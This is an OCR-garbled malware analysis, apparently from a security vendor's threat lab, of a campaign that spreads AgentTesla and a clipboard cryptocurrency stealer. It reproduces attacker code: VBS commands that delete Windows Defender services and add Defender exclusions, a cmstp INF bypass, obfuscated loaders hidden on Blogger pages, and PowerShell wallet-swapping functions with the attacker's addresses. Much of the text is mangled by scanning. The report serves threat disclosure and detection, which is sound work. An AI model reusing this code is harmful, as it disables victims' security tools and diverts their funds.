8 objShell.Run ac

9 objShell.Run sc

10 objshell.Run mpssve™

11 objShell.Run sc delete sense®

12

13 obj5hell.Run fzet (defau recoveryenabled No"
14 objS5hell.Run U:T e bocdedit /fset (defa bootatatuspolicy

-U:T -

icaclas
reg add ""HFLM\Software\Policies\

mrksystemrcotih\System3I2\smartacree:
icrosofe!

Sudo.exe

== bat""")
"".ppam""*)
we xlgnne)
"e . bace)
" exe"")

onPath
—ExclusionProcess
—ExclusionPx

-Exclusi

[ heheheheh ves E3

ignoreallfail

16 objShell.Run

:\Users\Public\H.
17 WScript.Sleep 100

is outputHessages ("Add-HpFrel
1% ocutputMessage ("Add-MpPref

20 outputMessage ("Add-MpPreference
21 outputMessage ("Add-MpFreference
22 outputMessage ("Add-MpFreference
23 outputMessage ("Add-MpPreference

ipPreference
MpPreference

24 outputMessage ("Ad
25 outputMessage ("Add
26 cutputMessage ("Ad

27 ocutputMessage ("Ad
28 ocutputMessage ("Add
29 puctputMessa e{radd-_MpPreference

Sudo.exe reg add "™
on "".bat""")

"n . ppam""")

-Exclusi
-ExclusionExtens
=ExclusionExcens.
ExclusionExten:
-ExclusionExtens.
-ExclusionPath
-ExclusionPath
—Exclusior
-ExclusionProcess explorer.exe”)
—ExclusionProcess kernel3Z.dll”)

The VBS is executed through another Living-off-the-Land technique, by first creating an

HELM\Software\Policies\Microsofc\

indows Defender\UX Configuratior

1 If Mot WScript.Argumencs.Mamed.Exists("zlevace") Then

2 CreateCbject ("Shell.Applicaticn”) .ShellExecute WScript.FullName _

a mwuw g WScript.ScriptFullName & """ /elevate™, "", "runas", 1

4 WScript.Quit

5 End If

& On Error Resume Next

7 Set objShell = CreateObject( t.5hell"™)

8 objShell.Run "C rs\Public\NS exe -U:T ac delete windefend™

9 objsShell.Run " u = -u:T sc d te mpsdrv"”

10 objShell.Run "C -u: sc delete mpssve™

11 objShell.Run a'H 2 3c delete sense"

12

13 objShell.Run bodedit /set {defa recoveryenabled Ho"

14 objShell.Run bodedit /set {default} bootstatuspolicy ignoreallfailures®™
15 objShell.Run blic\NSudo.exe icacls ""ssystemrcoti\Systeml2\smartscreen.exe®™" /inheritance:r /remove *5-1-5-32-54

VBS downloaded by PowerShell.

INF file with the command to be executed.
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]function script:Set-INFFile {
[CmdletBinding ()]

Param (
[Parameter (HelpMessage="5pecify
S$InfFilelocation = "Senv:tem

[Parameter (HelpMessage="5peci

leged window™)]
'

[5tring] $CommandToExecute = "wscC h.vbs
)
I$InfCon = E"
[ =i
[DefaultInstall]
CustomDestinati
rrentVersion\app Paths\CMMGR32.EXE", "ProfileImnstallPath"™, "%UnexpectedErrori"™, ™"

SInfContent |
-1

Cut-File §InfFilelocation -Encoding ASCII

]Jfunction script:Set-INFFile {
[CmdletBinding ()]

Param
[Parameter (HelpMessage="5peci the INF file location™)]
$InfFileLocation = "Zenv:temnp’ STP.inf",

[Parameter (HelpMessage="5peci
[5tring] $CommandToExecute = "wscC

he comma
ript.exe C:\

h.vbs

leged window™)]
'

I$InfContent = @"

J/IM cmstp.exe /F
Sectionfll

Use

rrentVersion\App Path

"fUnexpectedErrors™, "

SInfContent |
-1

Cut-File §InfFilelocation -Encoding ASCII

PowerShell creating INF file.

And then executing the INF file with the cmstp LoLBin.

JIIf (Tezt-Fath §InfFilelLocation) {
#Command to run

Sps = new-object system.diagnostics.processstartinfo "o
§ps.Arguments = "/Sau SInfFilelLocation”
Sp=s.UzeShellExecute = Sfalse

JIf (Te=szt-Fath §InfFilelLocation) {

#Command to run

Sps = new-object system.diagnostics.processstartinfo "c
Sps.Arguments = "/au $InfFileLocation®
Sps.UseShellExecute = $false

Executing the INF file.

Stage 05 — Cryptocurrency Stealer

\ t1d Ty

VAT

W

dows\system32\cmstp . exe"

Jin exe”

dows\system32\cmstp.
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https://lolbas-project.github.io/lolbas/Binaries/Cmstp/

The third URL downloaded by the second stage VBS is hosted with Blogger, which tries
to camouflage itself through a fake web page that says the content is sensitive.

.G.bckzz;w x S o
e

C O & |https://kdaoskdokaodkwldld.blogspot.com/p/19.html o =

5] Blogger | i

| UNDERSTAND AND | WISH TO CONTINUE | do not wish to continue

.G.bckzz;w x e o &
e

C O B |https://kdaoskdokaodkwldld.blogspot.com/p/12.html w ® =

5] Blogger | i

VDS pU DU ARV Riedele /U3 | do not wish to continue

Fake web page downloaded by the second stage.

Despite the attempt to hide behind this web page, we can find two malicious VBS within
the HTML, which are decoded and executed with a simple JavaScript.

<div class="widget-content'>

<:scriEt:>

émz class="title'>min</h2>

=ll=—

document .write {(unescape ("33Cscript320languages3D322VEScript$22E3E%0A(

=

F</script>

Fefdive

<div class="eclear'></div>

Fofdive</dive

<div class='"tabs no-items section' id='crosscol-overflow' name='Cross-Column 2'></div>
F</divz

F</dive

<h2 class="title'>min</h2>

E{div clazs="widget-content >

<:5c1’iEt:>

=ll=—
document.write (unescape ("33Cscripti2llanguages3D322
[f—=>

F</scripts

Fefdive

<div class="clear'></div>

F<fdive</dive

<div class='tabs no-items section' id='crosscol-overflow' name='Cross-Column 2'></div>
F</divz>

F</dive

VBS code hidden in the HTML page.

One of the VBS executed in this stage leads to the same PowerShell that delivers
AgentTesla, which is redundant. However, the other VBS code leads to a simple
cryptocurrency stealer written in PowerShell.
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https://www.blogger.com/about/

g(102,117,110,0

Const HIDDEN WINDOW = O

strComputer = "."

Set objWMIService = GetObject ("winmgmts:" & "{impersonationlevel=impersonate}!%\" & strComputer & "‘root'\cimviZ™)
Set objStartup = objWMIService.Get ("Win32Z_ ProcessStartup")

Set objConfig = objStartup.Spawnlnstance

objConfig. ShowWindow = HIDDEN WINDOW

= tObiect{"yinmopts : rogth\cimv2 : Win32 Procezz")
errReturn = objProcess.Create({ "powershell.exe |((gp HECU:\Software) .cookesrr) :EX",Inull, objConfig, intProcessID)

Window.ReS5izeTo 0, 0
self.close
</script>

<script language="VEScript'>

GetChject (StrReverse ("BORSSDE40CO0

Sk & (102,117,110,099,116,105,111,110,

2ZCD539F :wen™)) .regwrite "HECU\Software)

5,115,066,105,116,09%,111,105,110,065,10

cookerr™,

Const HIDDEN WINDOW = O

strComputer = "."

Set objWMIService = GetObject("winmgmt=z:" & "{
Set objStartup = objWHMIService.Get ("Win3zZ Fr

Set objConfig = objStartup.SpawnInstance
objConfig.ShowWindow = HIDDEN WINDOW

= LObqect {"winmomts. Footh cimre Wl
errReturn = objProcess.Create{ "powershell.exe |((gp HECT:

Window.ReS5izeTo 0, O
self.close
</script>

impersonationlLevel=impersconate}!
essScartup”)

" & strComputer & "‘root'cimviZ™)

"
1
oftware) .cookerr) ZEX",Inull, objConfig, intProcessID)

VBS loading and executing the cryptocurrency stealer.

The malware is fairly simple, it works by checking the clipboard data with a regex that
matches the cryptocurrency wallet pattern. If it is found, the data is replaced with the
attacker’s wallet address.
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function isBitcoinfddress([string]SclipboardContent)

H
SvalidRegex = ""(bcl|[13]) [a-zh-HJ-NP-Z0-9]{26,35}5"
if (SclipboardContent -cnotmatch S$validRegex)
] {
return $false
1
return Strne
-1
feth

funotion isEtherseumbfddress([string] SclipboardContent)
H

Sstrlength = SclipboardContent.length

SvalidRegex = Ox[a-fA-FO-9] {40}&!
1f{$cllpboardﬂontent —antmatch SvalidRegex)
l {
retuorn Sfalse
}
retorn Strue
-}
function isBitcoinfddress([string]$clipboardContent)
H
SvalidBRegex = '" (bcl|[13]) [a—=zk-HJ-HP-Z0-9]{2&,35:5"
if ($clipboardContent -cnotmatch SvalidRegex)
l {
return 5false
1
return Strue
-1
$eth

function isEthereumbddress([string]$clipboardContent)

IR

Sstrlength = SclipboardContent.length

SvalidRegex = 0x[a-fA-F0O-9] {40}5"

if (SclipboardContent cnutmatch SvalidRegex)
] {

return §false

1

return Strne
-1

Cryptocurrency stealer in PowerShell.
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The code is able to replace the address for many coins, such as Bitcoin, Ethereum, XMR,
DOGE, etc.
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S5EthereumAddresses = ("OxfaffceZcTlZedig387eTlecE6d8bocEafa5Todese",
"O0xBaffe6e2cT7126d08387eTlece698bce9f857cdese™, "0x8af86e2cT7126d0B38T7eTlecee98%bce9f857cdece”,
"O0xBaff6e2cT7126d08387eTlece698bce9f857cdese™, "0x8af86e2cT7126d0B38T7eTlecee98bce9f857cdace™)
SEthereumiddressesSize = §Ethereumfddresses.length

S¥mrAddress = (

"E3JYucz9uBvinyliioYuESGODLyY3IMEBLSHI6NRovELPMwiWs SOxmAREgsBpBAPDXNDEcJkfLewgLEXEGHLE fEpyvTBAKmDE"™ ,
"83JYuoz9%uBvinyliioYuKSGODeyY3MSBLSHI 6NRovELPMwiWs50xmAREgsBpBAPDXNDE cJkfLewgLXEGHLS fEpy v TBAKmDE "™,
"83JYuoz9%uBvinyliioYuKSGODeyY3MSBLSHI 6NRovELPMwiWs50xmAREgsBpBAPDXNDE cJkfLewgLXEGHLS fEpy v TBAKmDE "™,
"83JYuoz9%uBvinyliioYuKSGODeyY3MSBLSHI 6NRovELPMwiWs50xmAREgsBpBAPDXNDE cJkfLewgLXEGHLS fEpy v TBAKmDE "™,
"83JYuoz9%uBvinyliioYuKSGODeyY3MSBLSHI 6NRovELPMwiWsS0xmAREgsBpBAPDXNDE cJkf Lewg LXEGHLS fEpy v TBAKmMDE ™)
S¥mrAddressSize = SXmrAddress.length

SX1MAddress = ("GDXeFFZUVSYTOVZ3INPZPUUGQIORTWOHUXXPXYOUIOYECDONGANPE0OEQT™,
"EONEFFZUVSYTCOV2Z 3NP2PUUGOICRTWOHUXX PXYOUICY6CDOXGANPECEQT™,
TEDXeFFZUVSYTOVZ3NPZPUUGQICRTWOHUXXPXYOUICY e CDOXGA4NPEOEQT™,
TEDXeFFZUVSYTOVZ3NPZPUUGQICRTWOHUXXPXYOUICY e CDOXGA4NPEOEQT™,
TMEDXeFFZUVSYTOVZ3NPZPUUGQICRTWOHUXXPXYOUICY e CDOXGANFEOEQT™)
SXLMAddressSize = SXLMAddress.length

$XRPAddress = ("rGT84ryubURWFMmMiJChREWUgSiQY18VGUO", "rGT84ryubURWFMMIJChREWIg9iQY18vVeuQ™,
"rGTE4ryubURWEFMmI JChREWUg9i0Y18VGuQ™, "rGrE84ryubURWFMmI JChEBWUg2iQY13VEuQ™,
"rGTE4ryubURWEFMmI JChREWUg9i0Y 1 8VGEuQ™)

SXRPAddressSize = SXRPAddress.length

SLTCAddress = ("LZLApZozcEmDlJynSvigSNEmll5ZefbnYME", "LIApZozcEmDlJIyvnSvRgSNEmll5ZefbnyYME™,
"LipZozcEmD1 JynSvEXgSNEmMl115ZefbonYME"™ , "LZApZozcEmD1JynSvigSNEmllSZefbnYME",
"LZipZozcEmD1JynSvEgSNEmMl15ZefbnYME™)

SLTCAddressSize = SLTCAddress.length

SADAAddress = ("reinstall windows", "reinstall windows", "reinstall windows", "reinstall windows",
"reinstall windows"™)
SADAAddressSize = SADAAddress.length

SEthereumAddresses = ("0xfaff8ee2cTl26d08387eTlecE699bcE9f95Tcdese™,
"OxB8af86e2cTl26d08387eTlecee99%bceSf957cdees™, "OxB8af86e2cT1l26d0838T7eTlecee98bece8f557cdess™,
"OxB8af86eZ2cTl26d08387eTlecee9%bceSf957cdees™, "OxB8af86e2cT1l26d0838T7eTlece695beceSf857cdesa™)
SEthereumAddressesSize = §EthereumAddresses.length

S¥mrAddress = (
"E3JYuozo%uBvinyliioYuKSGODtyY3MSELSHIeNRovkLPMwiWsSOxmAREgsBpEBAPDYNDEcJkf LewgLXEGHLE fEpyv TEAEmDE ™,
"E3JYuozo%uBvinyliioYuKSGODtyY3MSELSHIeNRovkLPMwiWsSOxmAREgsBpEBAPDYNDEcJkf LewgLXEGHLE fEpyv TEAEmDE ™,
"E3JYuozo%uBvinyliioYuKSGODtyY3MSELSHIeNRovkLPMwiWsSOxmAREgsBpEBAPDYNDEcJkf LewgLXEGHLE fEpyv TEAEmDE ™,
"E3JYuozo%uBvinyliioYuKSGODtyY3MSELSHIeNRovkLPMwiWsSOxmAREgsBpEBAPDYNDEcJkf LewgLXEGHLE fEpyv TEAEmDE ™,
"E3JYuozo%uBvinyliioYuKSGODtyY3MSELSHIeNRovkLPMwiWsSOxmAREgsBpEBAPDYNDEcJkf LewgLXEGHLE fEpyv TEAEMDE ™)
S¥mrAddressSize = S$¥XmrAddress.length

SX1MAddress = ("GDEEFFZUVSYTOVZ3NEZ PUUGQICRTWOHINYPXYOUIOYeCDQXGANPEOEQT™,
"GDXEeFFZUVSYTOVZ3NP2ZPUUGQICRTWOHUXX PXYOUICY e CDOXGANPECEQT™,
"GDXEeFFZUVSYTOVZ3NP2ZPUUGQICRTWOHUXX PXYOUICY e CDOXGANPECEQT™,
"GDXEeFFZUVSYTOVZ3NP2ZPUUGQICRTWOHUXX PXYOUICY e CDOXGANPECEQT™,
"GDREeFFZUVSYTOVZ 3NPZPUUGQICRTWOHUXKPXYOUIOY eCDOXGANPECEQT™)
S¥IMAddressSize = S$XLMAddress.length

$iRPAddress = ("rGT84rvubURWEMmiJChEbWUg9iQY18VGuQ", "rGT84ryubURWEFMmMiJChREWUg9iQY1l8VGEuQ™,
"rGTE4r yubURWEFMmMI JChEREWUgSi0Y18VEuQ™, "rGT84ryubURwEFMmi JChERWUgSiQY18V5ul™,
"rGTS4ryubURWEFHMmMI JChREWIgSi0Y1 8VGuQ™)

S¥RPAddressSize = S$XRPAddress.length

SLTCAddress = ("LZLpZozcEmDlJynSvEgSHNEmllsZefbnYME", "LZIApZozcEmDlJIvnSvHgSHNEmllSZefbnYHE"™,
"LZZpZozcEmDlJIynSvXgSNEmll15ZefbnYHMK", "LZIApZozcEmDlJynSv¥gSHEmllSZefbnYME"™,
"LZhpZozcEmDlJIynSvEgSNEmllS5ZefbnYHE™)

SLTCAddressSize = SLTCAddress.length

SADAAddress = ("reinstall windows"™, "reinstall windows", "reinstall windows", "reinstall windows",
"reinstall windows"™)
SADAAddressSize = SADAAddress.length

Cryptocurrency addresses used by the attacker.
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The complete list of the addresses used by the attacker can be found on our GitHub
page.

Conclusion

Attackers not only continue to abuse Microsoft Office to deliver malware, but are also
increasingly including cloud services in their attacks, as this adds a certain resilience to
the entire process. Netskope Advanced Threat Protection includes a custom Microsoft
Office file analyzer and a sandbox to detect campaigns like the one we described in this
analysis. We will continue to provide updates on this threat as it evolves.

Protection

Netskope Threat Labs is actively monitoring this campaign and has ensured coverage for
all known threat indicators and payloads.

* Netskope Threat Protection
o Document-Office.Trojan.AgentTesla
o Win32.Trojan.AgentTesla
* Netskope Advanced Threat Protection provides proactive coverage against this
threat.
o Gen.Malware.Detect.By.StHeur indicates a sample that was detected using
static analysis
o Gen.Malware.Detect.By.Sandbox indicates a sample that was detected by our
cloud sandbox
o Gen.Malware.Detect.By.StHeur.MsOffice indicates a sample that was detected by
Netskope’s static ML Microsoft Office analyzer engine.

Below we have an example of a sample detected by Netskope, which has a score of 9/63
on VirusTotal.

9 > \_I/ 9 security vendors flagged this file as malicious
Nen’ 58e990c93419f78c7324c3c3dfocaab5f1780cffaal0alac834
° . 9.43KB 2021-12-15 02:26:32 UTC A=
d272f11ca05d0 ) - —
PPTX
Purchase Crders jtc tools PDF.ppam
attachment  auto-open  create-cle macros  obfuscated  pptx
% Cofitilinity
Seore
9 > \_I/ 9 security vendors flagged this file as malicious
e 58299 3c3d 55 aallala
3?_9‘. Cc?ij?f?Sc?SMcaCacrccaawfl?SOcﬁ al0alac834 9.43 KB 2021-12-15 02:26:32 UTC. “‘E
d272f11ca05d0 . PPTX
Purchase Crders jtc tools PDF.ppam
attachment  auto-open  create-ole  macros  obfuscated  pptx
¢  Comnmn t v
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~ B O 582990c934f9f78c7324c3c3dfccaa55f1780cffaal0alac834d272f11ca05d0

“ Incidents

J4F5f2 736 P04 5500dbe T 20bd2dst
POCTIAIMTBCT324c3c3dMeraaS501 76002102 1acE34427211 1020540

|
-
)

Detected by: L] &
oM
0 wigh Trojan GenerickD 36282439 Vins
oM
~ Bl O 5382990c934f9f78c7324c3c3dfccaa55f1780cffaal0alac834d272f11ca05d0
“ Incidents
ADS: St224¢527365e<53802be7 Mbcl2dst
AJSE SBe090COAMMTBT S04 3c3deraaS50 1 780cM 102 13¢E 34427201 1030580
S 21 @
Detected by: L] -]
&
0 wigh Trojan GenerickD 3823243 Vinus
oM

I0Cs

A full list of IOCs and a Yara rule are all available in our GitHub repo.
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